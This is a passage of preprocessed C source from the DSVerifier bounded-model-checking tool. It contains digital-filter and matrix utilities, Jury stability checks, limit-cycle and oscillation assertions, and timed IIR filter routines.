printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
